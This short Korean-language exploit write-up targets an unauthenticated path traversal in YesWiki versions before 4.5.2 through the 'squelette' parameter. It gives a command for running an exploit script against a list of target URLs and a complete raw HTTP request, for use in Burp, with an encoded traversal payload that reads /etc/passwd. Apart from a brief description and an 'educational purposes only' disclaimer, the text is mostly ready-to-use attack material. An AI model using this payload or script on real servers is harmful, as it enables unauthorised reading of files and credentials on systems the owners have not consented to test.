
YesWiki는 PHP로 작성된 위키 시스템입니다. squelette 매개변수는 path traversal 공격에 취약하여 서버의 임의 파일에 대한 읽기 액세스를 가능하게 합니다.
이것은 YesWiki 4.5.2 이전 버전을 대상으로 하는 인증되지 않은 경로 탐색 익스플로잇입니다. 취약점은 squelette 매개변수에 존재하며, 서버에서 임의의 파일을 읽을 수 있게 합니다.
python3 exploit.py -l urls.txt

다음은 Burp를 사용하여 수동으로 익스플로잇하는 두 번째 방법입니다:
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

면책 조항: 이것은 교육 목적으로만 엄격히 사용됩니다.